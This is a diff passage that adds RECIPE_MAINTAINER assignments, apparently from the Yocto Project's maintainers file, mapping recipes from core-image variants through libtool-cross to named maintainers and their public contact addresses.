+RECIPE_MAINTAINER:pn-core-image-minimal = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal-mtdutils = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-tiny-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-full-cmdline = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-kernel-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-ptest-all = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-ptest-fast = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-sato = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-sato-sdk = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-testcontroller-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-testcontroller = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-weston = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-weston-sdk = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-x11 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-sato-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-coreutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-cpio = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-cracklib = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-createrepo-c = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-cronie = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-cross-localedef-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-cryptodev-linux = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cryptodev-module = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cryptodev-tests = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cups = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-curl = "Robert Joslyn <robert.joslyn@redrectangle.org>"
+RECIPE_MAINTAINER:pn-cve-update-nvd2-native = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-cwautomacros = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-db = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-dbus = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-dbus-glib = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-dbus-wait = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-debianutils = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-debugedit = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-dejagnu = "Nathan Rossi <nathan@nathanrossi.com>"
+RECIPE_MAINTAINER:pn-depmodwrapper-cross = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-desktop-file-utils = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-dhcpcd = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-diffoscope = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-diffstat = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-diffutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-distcc = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-distcc-config = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dmidecode = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-dnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-docbook-xml-dtd4 = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-docbook-xsl-stylesheets = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dos2unix = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-dosfstools = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dpkg = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-dropbear = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dtc = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-dwarfsrcfiles = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-e2fsprogs = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ed = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-efivar = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-efibootmgr = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-elfutils = "Zang Ruochen <zangruochen@loongson.cn>"
+RECIPE_MAINTAINER:pn-ell = "Zang Ruochen <zangruochen@loongson.cn>"
+RECIPE_MAINTAINER:pn-enchant2 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-encodings = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-epiphany = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-erofs-utils = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-ethtool = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-eudev = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-expat = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-expect = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ffmpeg = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-file = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-findutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-flac = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-flex = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-font-alias = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-font-util = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-fontconfig = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-formfactor = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-freetype = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-fribidi = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-fts = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gawk = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-gcc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-runtime = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-sanitizers = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-source-13.2.0 = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gconf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gcr = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gdb = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gdb-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gdb-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gdbm = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gdk-pixbuf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gettext = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-gettext-minimal-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ghostscript = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-gi-docgen = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-git = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-glew = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-glib-2.0 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-glib-networking = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-glibc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-locale = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-mtrace = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-scripts = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-y2038-tests = "Lukasz Majewski <lukma@denx.de>"
+RECIPE_MAINTAINER:pn-glibc-testsuite = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gmp = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glslang = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-gnome-desktop-testing = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gnu-config = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-gnu-efi = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-gnupg = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-gnutls = "Simone Weiß <simone.p.weiss@posteo.net>"
+RECIPE_MAINTAINER:pn-go = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-binary-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-cross-${TUNE_PKGARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-helloworld = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-runtime = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gobject-introspection = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gperf = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gpgme = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-gptfdisk = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gcompat = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-graphene = "Markus Volk <f_l_k@t-online.de>"
+RECIPE_MAINTAINER:pn-grep = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-groff = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-grub = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-grub-bootconf = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-grub-efi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gsettings-desktop-schemas = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gst-devtools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gst-examples = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-libav = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-omx = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-meta-base = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-bad = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-base = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-good = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-ugly = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-python = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-rtsp-server = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-vaapi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gtk+3 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gtk4 = "Markus Volk <f_l_k@t-online.de>"
+RECIPE_MAINTAINER:pn-gtk-doc = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gzip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-harfbuzz = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-hdparm = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-help2man = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-hicolor-icon-theme = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-hwlatdetect = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-i2c-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-icecc-create-env = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-icon-naming-utils = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-icu = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-igt-gpu-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-inetutils = "Tom Rini <trini@konsulko.com>"
+RECIPE_MAINTAINER:pn-init-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-init-system-helpers = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-boot = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-initramfs-framework = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-initramfs-live-boot = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-boot-tiny = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install-efi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install-efi-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-module-install = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-module-install-efi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-module-setup-live = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initscripts = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-intltool = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-iproute2 = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-iptables = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-iputils = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-iso-codes = "Wang Mingyu <wangmy@cn.fujitsu.com>"
+RECIPE_MAINTAINER:pn-itstool = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-iw = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-libjpeg-turbo = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-json-c = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-json-glib = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-jquery = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-kbd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-kea = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-kern-tools-native = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-kernel-devsrc = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-kexec-tools = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-keymaps = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-kmod = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-kmscube = "Carlos Rafael Giani <crg7475@mailbox.org>"
+RECIPE_MAINTAINER:pn-l3afpad = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-lame = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-ldconfig-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-less = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-liba52 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libacpi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libadwaita = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libaio = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libarchive = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-libassuan = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libatomic-ops = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libbsd = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libc-test = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libcap = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcap-ng = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcap-ng-python = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcgroup = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libcheck = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcomps = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libconvert-asn1-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libdaemon = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libdazzle = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libdnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libdrm = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-libedit = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libepoxy = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-liberation-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libevdev = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libevent = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libexif = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfakekey = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libffi = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfm-extra = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfontenc = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libgcc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libgcc-initial = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libgcrypt = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libgfortran = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libgit2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libgloss = "Alejandro Hernandez <alejandro@enedino.org>"
+RECIPE_MAINTAINER:pn-libglu = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libgpg-error = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libgudev = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libhandy = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libical = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libice = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libidn2 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libinput = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libjitterentropy = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libksba = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libmatchbox = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libmd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libmicrohttpd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libmnl = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libmpc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libmodule-build-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libmodulemd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libnewt = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libnl = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libnotify = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libnsl2 = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libnss-mdns = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libnss-nis = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libogg = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libomxil = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpam = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpcap = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpciaccess = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-libpcre = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libpcre2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libpipeline = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-libpng = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libportal = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libproxy = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpthread-stubs = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libptytty = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libpsl = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-librepo = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-librsvg = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libstd-rs = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-libsamplerate0 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsdl2 = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libseccomp = "Simone Weiß <simone.p.weiss@posteo.net>"
+RECIPE_MAINTAINER:pn-libsecret = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libslirp = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsndfile1 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsolv = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libsoup = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libsoup-2.4 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libssh2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libssp-nonshared = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libtasn1 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libtest-fatal-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libtest-needs-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libtest-warnings-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libtheora = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libtimedate-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libtirpc = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libtool = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-libtool-cross = "Robert Yang <liezhi.yang@windriver.com>"
